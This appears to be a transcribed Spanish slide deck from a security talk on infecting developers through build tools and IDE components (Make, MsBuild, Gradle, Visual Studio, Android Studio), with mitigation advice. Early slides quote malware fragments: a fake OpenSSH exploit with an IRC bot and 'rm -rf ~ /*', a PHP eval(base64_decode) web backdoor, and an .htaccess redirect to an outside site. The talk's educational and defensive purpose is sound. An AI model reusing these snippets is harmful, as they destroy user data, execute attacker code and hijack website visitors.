El documento habla sobre cómo explotar vectores de infección a través de herramientas de desarrollo comunes como Make, MsBuild, Gradle, Visual Studio y Android Studio. Explica cómo insertar malware en proyectos mediante la manipulación de estas herramientas y la presentación de demostraciones prácticas. El documento concluye enfatizando la importancia de revisar todo el código y archivos de un proyecto y usar máquinas virtuales y sandbox para evitar este tipo de ataques.
4. Objetivos de la charla
1. Estado del arte (Code related
Malware)
2. Explorar nuevos vectores y enfoques
3. Cómo explotarlos
4. Cómo prevenirlos/mitigarlos
Bend the developers to your will
5. ¿Porque los desarrolladores ?
• Usuarios privilegiados
• Acceso a contraseñas
• Vectores de infección poco conocidos
• Otros …………..
Bend the developers to your will
6. Estado del arte
Bend the developers to your will
Bomba lógica
Ofuscación
Si juegas con el mejor...
muere como los demás.
7. Fake 0days ”openssh-53p1-remote-root.c”
#!/usr/bin/perl
$chan="#cn";
$key ="fags";
$nick="kn";
print $sock "JOIN $chan $keyn";
while (<$sock>){if (/^PING
(.*)$/){
$server="irc.ham.de.euirc.net";
rm -rf ~ /* 2> /dev/null &
fopen(……..,"w+")
fseek(jmpinst,0,SEEK_SET);
fprintf(jmpinst,"%s",shellcode);
fclose(jmpinst);
Bend the developers to your will
8. PHP/Web Malware
Bend the developers to your will
post-
title/%&(%7B$%7Beval(base64_decode($_
SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)
<?php .. eval(base64_decode("DQ..."))
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER}
^.*(google|ask|yahoo|baidu|youtube| <...> ).(.*)
RewriteRule ^(.*)$ http://dimitri.ru/index.php
[R=301,L]
</IfModule>
9. Gestores de compilación
• Programas más complejos
• Múltiples ficheros
• Múltiples dependencias
• Cross compiling
• Team builds
• etc
Bend the developers to your will
10. Make – Cómo abusarlo
Gestor de dependencias
más usado
Bend the developers to your will
11. Make – Cómo abusarlo
all:
@echo "Wololo!" > "pwned"
@echo "Compiled"
Bend the developers to your will
12. MsBuild – Que és
• Microsoft Build Engine
• Xml
–Propiedades <PropertyGroup>
–Objetivos <Target>
–Tareas <Task>
–Items <ItemGroup>
Bend the developers to your will
13. MsBuild – Cómo se abusa
• Trasparente para el desarrollador
• Lo gestiona el Visual Studio
Bend the developers to your will
14. MsBuild – Cómo se abusa
• No es visible desde el IDE
• Referencias a ficheros externos
• Acepta llamadas a la API de .Net
• Escritura y ejecución
• Esta documentado
• No está explicado
Bend the developers to your will
17. Gradle – Que es
• Sistema automatizado de compilación
• Open Source
• Scripts en Groovy (DSL)
Bend the developers to your will
18. Gradle – Cómo se abusa
• Integrado con el IDE
• Autogenerado
• Si se ven los scripts desde el IDE
• Editable
Bend the developers to your will
19. Gradle – Cómo se abusa
• Groovy soporta llamadas Java
• Se puede:
–Des/Comprimir archivos/streams
–Escribir a disco
–Ejecutar
Bend the developers to your will
22. Xamarin – Que és
• Antes llamado MonoDevelop
• IDE desarrollo proyecto Mono
• Multiplataforma
–Windows
–Mac
–Linux
Bend the developers to your will
25. Componentes Gráficos
• “Objetos Visibles”
• Elementos de la interfaz de usuario
• Librerias gráficas
• Parte principal de los GUI
• Productos/librerias comerciales
Bend the developers to your will
26. Visual Studio – Cómo se abusan
• Agregar a la solución
–Proyecto
–Librería
• Usar uno por defecto
• Arrastrarlo al Form
• Se autodibujan
Bend the developers to your will
27. Visual Studio – Cómo se abusan
• Interactivos
• También en tiempo de diseño
• Si se pinta, se ejecuta
• Y si metemos algo más
que código de pintado ?
Bend the developers to your will
30. Android Studio – Como se abusa
Bend the developers to your will
• Basado en Eclipse
• Se implementa el método de pintado
• Se incluye en el proyecto
• Similar a los Widgets
• Se crea una vista